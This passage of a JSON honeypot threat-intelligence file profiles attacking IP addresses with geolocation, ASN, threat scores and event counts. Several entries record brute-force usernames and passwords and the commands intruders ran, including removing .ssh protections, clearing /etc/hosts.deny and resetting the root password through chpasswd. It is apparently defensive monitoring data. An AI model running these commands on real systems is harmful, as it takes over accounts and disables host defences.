        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:16:36.312000+00:00",
        "last_seen_30d": "2026-05-03T20:17:57.270000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.176.117.212": {
      "attack_count": 2,
      "first_seen": "2026-05-13T04:27:48.319Z",
      "last_seen": "2026-05-13T04:28:01.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Campeche",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:27:48.319000+00:00",
        "last_seen_30d": "2026-05-13T04:29:09.395000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.188.160.168": {
      "attack_count": 2,
      "first_seen": "2026-05-17T09:18:29.265Z",
      "last_seen": "2026-05-17T09:18:43.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T09:18:29.265000+00:00",
        "last_seen_30d": "2026-05-17T09:19:49.563000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "209.113.151.172": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:03:13.829Z",
      "last_seen": "2026-05-06T09:03:25.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fairbury",
      "asn": 53610,
      "as_org": "Metro Communications Company, Inc.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:03:13.829000+00:00",
        "last_seen_30d": "2026-05-06T09:04:28.580000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.127.52.229": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:33:06.598Z",
      "last_seen": "2026-05-23T08:33:34.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:33:06.598000+00:00",
        "last_seen_30d": "2026-05-23T08:34:38.748000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.118.22": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:29:46.898Z",
      "last_seen": "2026-05-09T14:30:18.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:29:46.898000+00:00",
        "last_seen_30d": "2026-05-09T14:31:29.473000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.43.254.26": {
      "attack_count": 2,
      "first_seen": "2026-05-20T01:54:01.750Z",
      "last_seen": "2026-05-20T01:54:14.144Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 269820,
      "as_org": "FULL DATA COMUNICACIONES C.A.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:54:01.750000+00:00",
        "last_seen_30d": "2026-05-20T01:55:19.368000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.80.13.29": {
      "attack_count": 2,
      "first_seen": "2026-05-11T15:59:14.794Z",
      "last_seen": "2026-05-11T16:01:14.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "San Cristobal",
      "asn": 274105,
      "as_org": "ANTHONELY TECNOLOGY SYSTEM SRL",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:59:14.794000+00:00",
        "last_seen_30d": "2026-05-11T16:11:46.361000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.167.151.155": {
      "attack_count": 2,
      "first_seen": "2026-05-02T15:17:06.044Z",
      "last_seen": "2026-05-02T15:17:19.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Palotina",
      "asn": 268016,
      "as_org": "ZN DIGITAL PALOTINA LTDA ME",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:17:06.044000+00:00",
        "last_seen_30d": "2026-05-02T15:18:22.852000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.227.42.227": {
      "attack_count": 2,
      "first_seen": "2026-05-12T06:25:55.438Z",
      "last_seen": "2026-05-12T06:26:07.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:25:55.438000+00:00",
        "last_seen_30d": "2026-05-12T06:27:15.825000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.245.8.44": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:14:01.443Z",
      "last_seen": "2026-05-11T12:14:14.318Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 135607,
      "as_org": "Infinivan Incorporated",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:14:01.443000+00:00",
        "last_seen_30d": "2026-05-11T12:15:20.072000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.127.254.50": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:24:58.520Z",
      "last_seen": "2026-05-22T11:25:12.521Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 57269,
      "as_org": "Digi Spain Telecom S.A",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:24:58.520000+00:00",
        "last_seen_30d": "2026-05-22T11:26:13.159000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.123.64.71": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:42:53.465Z",
      "last_seen": "2026-05-24T20:42:56.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Gij\u00f3n",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:42:53.465000+00:00",
        "last_seen_30d": "2026-05-24T20:44:03.355000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.248.120.6": {
      "attack_count": 952,
      "first_seen": "2026-05-12T10:43:22.554Z",
      "last_seen": "2026-05-30T20:30:09.649Z",
      "sessions": 107,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "mike",
        "admin",
        "desktop",
        "developer",
        "incoming",
        "jake",
        "nikita",
        "rahul",
        "webmaster",
        "astra",
        "base",
        "chris",
        "deploy",
        "deployuser",
        "f",
        "james",
        "julien"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "password",
        "1234",
        "12345",
        "ADMIN123",
        "Aa112211",
        "Ab147258",
        "Developer@123",
        "P@ssw0rd123",
        "Pass@1234!",
        "Test123",
        "aA123456!",
        "desktop123",
        "hacker123",
        "jake",
        "nikita",
        "1029384756"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nh8dayfwKvhCs\\nh8dayfwKvhCs\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\n7ZO5bnCnjlnb\\n7ZO5bnCnjlnb\\n\"|passwd",
        "echo \"root:1rktRVeJg3xv\"|chpasswd|bash",
        "echo \"root:Fz4ifEt4vNUT\"|chpasswd|bash",
        "echo \"root:dwKoDtu50Qfo\"|chpasswd|bash",
        "echo \"root:xLPLEO1JDE7F\"|chpasswd|bash",
        "echo \"webmaster\\nL1btSVkuVLDt\\nL1btSVkuVLDt\\n\"|passwd",
        "echo -e \"1234\\nh8dayfwKvhCs\\nh8dayfwKvhCs\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\n7ZO5bnCnjlnb\\n7ZO5bnCnjlnb\"|passwd|bash",
        "echo -e \"webmaster\\nL1btSVkuVLDt\\nL1btSVkuVLDt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Meerut",
      "asn": 133676,
      "as_org": "Precious netcom pvt ltd",
      "threat_score": 55.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1213,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T10:43:22.554000+00:00",
        "last_seen_30d": "2026-05-30T20:31:12.801000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 952,
        "Suricata": 261
      }
    },
    "103.180.212.135": {
      "attack_count": 749,
      "first_seen": "2026-05-18T17:05:59.098Z",
      "last_seen": "2026-05-18T19:25:50.393Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0okm9ijn",
        "102030",
        "12121212",
        "136161",
        "1q2w3e4r!",
        "Mexico123",
        "PasswdNew",
        "Qwe123!!",
        "Redvirtual09",
        "a1234567",
        "abc.123456",
        "ampache",
        "angels",
        "beaver",
        "claude",
        "dallas",
        "dbmaker",
        "einstein"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0TBhhuyIzDYw\"|chpasswd|bash",
        "echo \"root:8vgzF8rqxbOM\"|chpasswd|bash",
        "echo \"root:DbQvwQXk4oqg\"|chpasswd|bash",
        "echo \"root:Dnkz5icJtm8u\"|chpasswd|bash",
        "echo \"root:FQ3ljPiLYDV1\"|chpasswd|bash",
        "echo \"root:OOFXuIaKdJfS\"|chpasswd|bash",
        "echo \"root:X0bYegmBwkYV\"|chpasswd|bash",
        "echo \"root:nBbOB430YxuP\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 151734,
      "as_org": "WEBYNE DATA CENTRE PRIVATE LIMITED",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 879,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:05:59.098000+00:00",
        "last_seen_30d": "2026-05-18T19:26:58.477000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 749,
        "Suricata": 130
      }
    },
    "118.193.61.170": {
      "attack_count": 725,
      "first_seen": "2026-05-24T18:25:17.166Z",
      "last_seen": "2026-05-31T01:13:32.823Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "iksi",
        "intel",
        "plex",
        "steam",
        "user1",
        "user4",
        "user5",
        "ajay",
        "andy",
        "cloud",
        "csuser",
        "curl",
        "deploy",
        "devuser",
        "filip",
        "flussonic",
        "frappe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "fjbdfdjkdsfs541544@@",
        "!1qaz@2wsx",
        "!Q2w3e4r5t6y",
        "00001111",
        "111111",
        "112233",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678.",
        "123456a",
        "1234qwer!@#$QWER",
        "123Password",
        "123QWEasd!@#",
        "123pls123A!",
        "9090"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n7lzEL5T6sxBx\\n7lzEL5T6sxBx\\n\"|passwd",
        "echo \"123456a\\nYrNSpWMzjZss\\nYrNSpWMzjZss\\n\"|passwd",
        "echo \"123\\nHaopS64Iakf3\\nHaopS64Iakf3\\n\"|passwd",
        "echo \"plex\\nX7Ahdl7VMRQ8\\nX7Ahdl7VMRQ8\\n\"|passwd",
        "echo \"root:Rzj93XRncaKe\"|chpasswd|bash",
        "echo -e \"12345678\\n7lzEL5T6sxBx\\n7lzEL5T6sxBx\"|passwd|bash",
        "echo -e \"123456a\\nYrNSpWMzjZss\\nYrNSpWMzjZss\"|passwd|bash",
        "echo -e \"123\\nHaopS64Iakf3\\nHaopS64Iakf3\"|passwd|bash",
        "echo -e \"plex\\nX7Ahdl7VMRQ8\\nX7Ahdl7VMRQ8\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 921,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:25:17.166000+00:00",
        "last_seen_30d": "2026-05-31T01:14:33.462000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 725,
        "Suricata": 196
      }
    },
    "103.98.176.164": {
      "attack_count": 689,
      "first_seen": "2026-05-19T21:10:25.817Z",
      "last_seen": "2026-05-31T22:38:30.180Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "ossuser",
        "user1",
        "vpnuser",
        "aaa",
        "angel",
        "claude",
        "controlm",
        "dbuser",
        "free",
        "gmodserver",
        "guest",
        "lukas",
        "odoo",
        "runner",
        "server",
        "share",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "1234",
        "1234!@#$",
        "123456",
        "123456abcABC",
        "159357asd",
        "1938",
        "3edc$RFV",
        "718718",
        "@123456",
        "@dmin1234",
        "Aa121314",
        "Asd123321",
        "Asdf1234",
        "ChangeMe",
        "Changeme_123",
        "Cloud123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\n8fzrjPa62MuO\\n8fzrjPa62MuO\\n\"|passwd",
        "echo \"Changeme_123\\niztxtptF1mgS\\niztxtptF1mgS\\n\"|passwd",
        "echo \"ali1234\\nuRw5VmlVhC3k\\nuRw5VmlVhC3k\\n\"|passwd",
        "echo \"root:OutjjLuXXCrj\"|chpasswd|bash",
        "echo \"root:je6mZT7eJlQv\"|chpasswd|bash",
        "echo -e \"12345678\\n8fzrjPa62MuO\\n8fzrjPa62MuO\"|passwd|bash",
        "echo -e \"Changeme_123\\niztxtptF1mgS\\niztxtptF1mgS\"|passwd|bash",
        "echo -e \"ali1234\\nuRw5VmlVhC3k\\nuRw5VmlVhC3k\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136827,
      "as_org": "Universitas PGRI Semarang",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.4,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 866,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:10:25.817000+00:00",
        "last_seen_30d": "2026-05-31T22:39:31.897000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 689,
        "Suricata": 177
      }
    },
    "80.94.92.186": {
      "attack_count": 507,
      "first_seen": "2026-05-26T10:08:44.014Z",
      "last_seen": "2026-05-26T21:07:04.939Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "lighthouse",
        "latitude",
        "mapr",
        "solv",
        "eth",
        "ethereum",
        "grafana",
        "jupyter",
        "node",
        "solr",
        "validator",
        "minima"
      ],
      "passwords_attempted": [
        "sol",
        "123456",
        "12345678",
        "solana",
        "ubuntu",
        "123",
        "1234",
        "fuckyou",
        "jito",
        "validator",
        "!QAZ2wsx",
        "1",
        "1qaz2wsx",
        "Password123",
        "eth",
        "ethereum",
        "grafana",
        "jupyter",
        "latitude",
        "lighthouse"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 770,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T09:57:48.662000+00:00",
        "last_seen_30d": "2026-05-26T21:08:07.543000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 507,
        "Suricata": 263
      }
    },
    "220.168.238.70": {
      "attack_count": 500,
      "first_seen": "2026-05-20T18:19:06.925Z",
      "last_seen": "2026-05-23T13:50:28.023Z",
      "sessions": 250,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 756,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:19:06.925000+00:00",
        "last_seen_30d": "2026-05-23T13:51:29.564000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 256
      }
    },
    "59.126.224.134": {
      "attack_count": 448,
      "first_seen": "2026-05-21T09:42:46.694Z",
      "last_seen": "2026-05-21T10:20:55.705Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctrip",
        "kubeadmin",
        "zhao",
        "admin",
        "bind",
        "fu",
        "ho",
        "opensuse",
        "tencent",
        "tiller",
        "v2ray",
        "vps",
        "wangfang"
      ],
